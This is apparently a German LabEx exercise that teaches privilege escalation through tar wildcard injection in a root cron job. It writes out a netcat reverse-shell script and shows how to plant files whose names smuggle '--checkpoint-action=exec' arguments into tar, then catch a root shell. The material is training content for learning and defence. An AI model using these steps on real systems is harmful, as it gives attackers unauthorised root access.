Um zu verstehen, wie Wildcard-Injection (Platzhalter-Injektion) zur Privilegierhöhung führen kann, werden wir eine praktische Übung mit dem tar
-Befehl und crontab
durchführen.
-
Zunächst initialisieren wir die Lab-Umgebung, indem wir den folgenden Befehl ausführen:
Navigieren Sie in das Verzeichnis /home/labex/project
:
cd /home/labex/project
Führen Sie das Setup-Skript aus, um die Lab-Umgebung zu initialisieren:
./env_setup.sh
Nach der Initialisierung werden Sie auf den Benutzer user001
umgeschaltet (dies simuliert einen Angreifer, der zunächst Zugang zur Shell erlangt hat).
-
Dann überprüfen wir die crontab
auf geplante Aufgaben:
cat /etc/crontab
Erwartete Ausgabe:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *
Sie sollten eine Aufgabe sehen, die jede Minute ausgeführt wird und den Inhalt des Verzeichnisses /var/www/html/
in eine komprimierte Datei /var/backups/html.tgz
archiviert.
-
Als Nächstes werfen wir einen Blick auf die Dateien im Verzeichnis /var/www/html
:
ls /var/www/html
Um die Wildcard-Injection-Schwachstelle auszunutzen, müssen wir die folgenden drei Dateien im Verzeichnis /var/www/html/
erstellen.
Zunächst navigieren Sie in das Verzeichnis /var/www/html
:
cd /var/www/html/
-
shell.sh
mit dem Inhalt, um eine Reverse-Shell auszuführen:
echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
-
Eine Datei namens --checkpoint-action=exec=sh shell.sh
(beachten Sie die Leerzeichen im Dateinamen):
echo "" > "--checkpoint-action=exec=sh shell.sh"
-
Eine Datei namens --checkpoint=1
:
echo "" > --checkpoint=1
Nach dem Erstellen dieser Dateien sollte das Verzeichnis /var/www/html/
so aussehen:
'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
-
Wenn der Cron-Job den folgenden Befehl ausführt:
tar -zcf /var/backups/html.tgz /var/www/html/*
Wird er wie folgt interpretiert:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html
Hier ist die Bedeutung der Parameter:
--checkpoint
und --checkpoint-action
werden normalerweise zusammen verwendet. Das erste setzt einen Checkpoint, und das zweite gibt die Aktion an, die ausgeführt werden soll, wenn der Checkpoint erreicht wird.
--checkpoint-action=exec=sh shell.sh
bedeutet, dass wenn der Checkpoint erreicht wird, das Skript shell.sh
ausgeführt wird.
Somit wird jedes Mal, wenn der Cron-Job ausgeführt wird, das Skript shell.sh
ausgeführt, das eine Reverse-Shell von /bin/bash
an den lokalen Port 4444 sendet.
-
Stellen wir einen Listener auf dem lokalen Port 4444 in der aktuellen Shell ein:
nc -lnvp 4444
Nach kurzer Wartezeit, wenn der Cron-Job ausgeführt wird, sollten wir die Reverse-Shell mit Root-Privilegien erhalten:
Erwartete Ausgabe:
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 56226
Versuchen Sie, eine Datei success.txt
im Verzeichnis /root
zu erstellen, um zu bestätigen, dass Sie Root-Privilegien haben:
touch /root/success.txt
Wenn Sie die Datei ohne Berechtigungsfehler erstellen können, haben Sie Ihre Privilegien erfolgreich mithilfe von Wildcard-Injection erhöht.